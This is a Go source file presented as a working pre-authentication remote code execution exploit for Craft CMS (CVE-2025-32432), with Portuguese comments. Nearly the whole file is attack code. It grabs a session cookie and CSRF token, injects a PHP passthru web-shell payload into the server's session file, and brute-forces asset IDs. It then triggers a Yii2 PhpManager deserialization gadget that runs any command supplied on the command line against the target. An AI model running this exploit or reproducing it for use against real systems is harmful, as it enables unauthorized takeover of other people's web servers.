Craft CMS Pre-Auth Remote Code Execution via Session Poisoning + Yii2 PhpManager Gadget (CVE-2025-32432)

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package main

import (
	"bytes"
	"crypto/tls"
	"encoding/json"
	"flag"
	"fmt"
	"io"
	"net/http"
	"net/http/cookiejar"
	"net/url"
	"os"
	"regexp"
	"strings"
	"time"
)

// Session agrupa o http.Client com headers persistentes entre requisições
type Session struct {
	Client  *http.Client
	Headers http.Header
}

func NewSession(skipVerify bool) (*Session, error) {
	jar, err := cookiejar.New(nil)
	if err != nil {
		return nil, err
	}

	transport := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: skipVerify},
	}

	return &Session{
		Client: &http.Client{
			Jar:       jar,
			Transport: transport,
			Timeout:   30 * time.Second,
		},
		Headers: make(http.Header),
	}, nil
}

func (s *Session) Do(req *http.Request) (*http.Response, error) {
	for key, values := range s.Headers {
		for _, v := range values {
			req.Header.Add(key, v)
		}
	}
	return s.Client.Do(req)
}

func (s *Session) Get(rawURL string, rawQuery string) (*http.Response, error) {
	u, err := url.Parse(rawURL)
	if err != nil {
		return nil, err
	}

	u.RawQuery = rawQuery

	req, err := http.NewRequest(http.MethodGet, u.String(), nil)
	if err != nil {
		return nil, err
	}
	return s.Do(req)
}

func (s *Session) PostJSON(rawURL string, params map[string]string, body any, extraHeaders map[string]string) (*http.Response, error) {
	u, err := url.Parse(rawURL)
	if err != nil {
		return nil, err
	}

	if params != nil {
		q := u.Query()
		for k, v := range params {
			q.Set(k, v)
		}
		u.RawQuery = q.Encode()
	}

	jsonBody, err := json.Marshal(body)
	if err != nil {
		return nil, err
	}

	req, err := http.NewRequest(http.MethodPost, u.String(), bytes.NewReader(jsonBody))
	if err != nil {
		return nil, err
	}
	req.Header.Set("Content-Type", "application/json")

	for k, v := range extraHeaders {
		req.Header.Set(k, v)
	}

	return s.Do(req)
}

func (s *Session) GetCookie(rawURL, name string) string {
	u, err := url.Parse(rawURL)
	if err != nil {
		return ""
	}
	for _, c := range s.Client.Jar.Cookies(u) {
		if c.Name == name {
			return c.Value
		}
	}
	return ""
}

// ---

func findAssetID(baseURL string, maxAttempts int, csrfToken string, session *Session) int {
	fmt.Println("[*] Brute-forcing Asset ID (best-effort)...")

	for assetID := 1; assetID <= maxAttempts; assetID++ {
		payload := map[string]any{
			"assetId": assetID,
			"handle": map[string]any{
				"width":  1,
				"height": 1,
				"as hack": map[string]any{
					"class":         "craft\\behaviors\\FieldLayoutBehavior",
					"__class":       "GuzzleHttp\\Psr7\\FnStream",
					"__construct()": []any{[]any{}},
					"_fn_close":     "phpinfo",
				},
			},
		}

		resp, err := session.PostJSON(
			baseURL+"/index.php",
			map[string]string{"p": "admin/actions/assets/generate-transform"},
			payload,
			map[string]string{"X-CSRF-Token": csrfToken},
		)
		if err != nil {
			continue
		}
		resp.Body.Close()

		if resp.StatusCode != 404 {
			fmt.Printf("[+] Potential valid Asset ID found: %d (HTTP %d)\n", assetID, resp.StatusCode)
			return assetID
		}
	}

	fmt.Printf("[-] No valid Asset ID found after %d attempts.\n", maxAttempts)
	return 0
}

func implantPHP(baseURL string, session *Session) bool {
	injection := `<?=passthru($_GET["cmd"]);die()?>`
	rawQuery := "p=admin/dashboard&a=" + injection

	resp, err := session.Get(baseURL+"/index.php", rawQuery)
	if err != nil {
		fmt.Printf("[-] Injection error: %v\n", err)
		return false
	}
	defer resp.Body.Close()

	if resp.StatusCode == 200 || resp.StatusCode == 302 {
		fmt.Printf("[+] Session poisoning request sent (HTTP %d)\n", resp.StatusCode)
		return true
	}

	fmt.Printf("[-] Injection failed (HTTP %d)\n", resp.StatusCode)
	return false
}

func executeCommand(baseURL string, assetID int, sessionID, csrfToken string, session *Session, cmd string) string {
	payload := map[string]any{
		"assetId": assetID,
		"handle": map[string]any{
			"width":  1,
			"height": 1,
			"as hack": map[string]any{
				"class":   "craft\\behaviors\\FieldLayoutBehavior",
				"__class": "yii\\rbac\\PhpManager",
				"__construct()": []any{
					map[string]any{
						"itemFile": fmt.Sprintf("/var/lib/php/sessions/sess_%s", sessionID),
					},
				},
			},
		},
	}

	resp, err := session.PostJSON(
		baseURL+"/index.php",
		map[string]string{
			"p":   "admin/actions/assets/generate-transform",
			"cmd": cmd,
		},
		payload,
		map[string]string{"X-CSRF-Token": csrfToken},
	)
	if err != nil {
		return fmt.Sprintf("[-] Execution request failed: %v", err)
	}
	defer resp.Body.Close()

	fmt.Printf("Status Code: %d\n", resp.StatusCode)

	body, err := io.ReadAll(resp.Body)
	if err != nil {
		return fmt.Sprintf("[-] Failed to read response body: %v", err)
	}

	text := string(body)
	if strings.Contains(text, "?p=admin/dashboard&a=") {
		return text
	}
	return "Deu errado"
}

func main() {
	targetURL := flag.String("u", "", "Target base URL (e.g. https://victim.com)")
	cmd := flag.String("c", "", "Command to execute (e.g. id, whoami)")
	flag.Parse()

	if *targetURL == "" || *cmd == "" {
		fmt.Println("Usage: exploit -u <url> -c <cmd>")
		os.Exit(1)
	}

	baseURL := strings.TrimRight(*targetURL, "/")

	session, err := NewSession(true) // InsecureSkipVerify = true
	if err != nil {
		fmt.Printf("[-] Failed to create session: %v\n", err)
		os.Exit(1)
	}

	// Step 0: Obter sessão e CSRF token
	resp, err := session.Get(baseURL+"/admin/login", "")
	if err != nil {
		fmt.Printf("[-] Failed to establish session: %v\n", err)
		os.Exit(1)
	}
	defer resp.Body.Close()

	sessionID := session.GetCookie(baseURL+"/admin/login", "CraftSessionId")
	if sessionID == "" {
		fmt.Println("[-] Failed to obtain CraftSessionId")
		os.Exit(1)
	}
	fmt.Printf("[+] Obtained CraftSessionId: %s\n", sessionID)

	body, err := io.ReadAll(resp.Body)
	if err != nil {
		fmt.Printf("[-] Failed to read login page: %v\n", err)
		os.Exit(1)
	}

	re := regexp.MustCompile(`csrfTokenValue":"([^"]+)"`)
	matches := re.FindSubmatch(body)
	if matches == nil {
		fmt.Println("[-] Failed to obtain CSRF token")
		os.Exit(1)
	}
	csrfToken := string(matches[1])
	fmt.Printf("[+] Obtained CSRF token: %s...\n", csrfToken[:20])

	// Step 1: Envenenar o arquivo de sessão
	if !implantPHP(baseURL, session) {
		fmt.Println("[-] Session poisoning failed")
		os.Exit(1)
	}

	fmt.Println("[*] Waiting for session file to be written...")
	time.Sleep(2 * time.Second)

	// Determinar Asset ID
	assetID := findAssetID(baseURL, 300, csrfToken, session)
	if assetID == 0 {
		fmt.Println("[-] Exploitation aborted: no valid Asset ID found")
		os.Exit(1)
	}
	fmt.Printf("[+] Using Asset ID: %d\n", assetID)

	// Step 2: Disparar RCE
	output := executeCommand(baseURL, assetID, sessionID, csrfToken, session, *cmd)

	fmt.Println("\n[+] Server response:")
	parts := strings.SplitN(output, "<!doctype", 2)
	clean := strings.TrimSpace(parts[0])
	if clean != "" {
		fmt.Println("[+] Command output:")
		fmt.Println(clean)
	} else {
		fmt.Println(output)
	}
}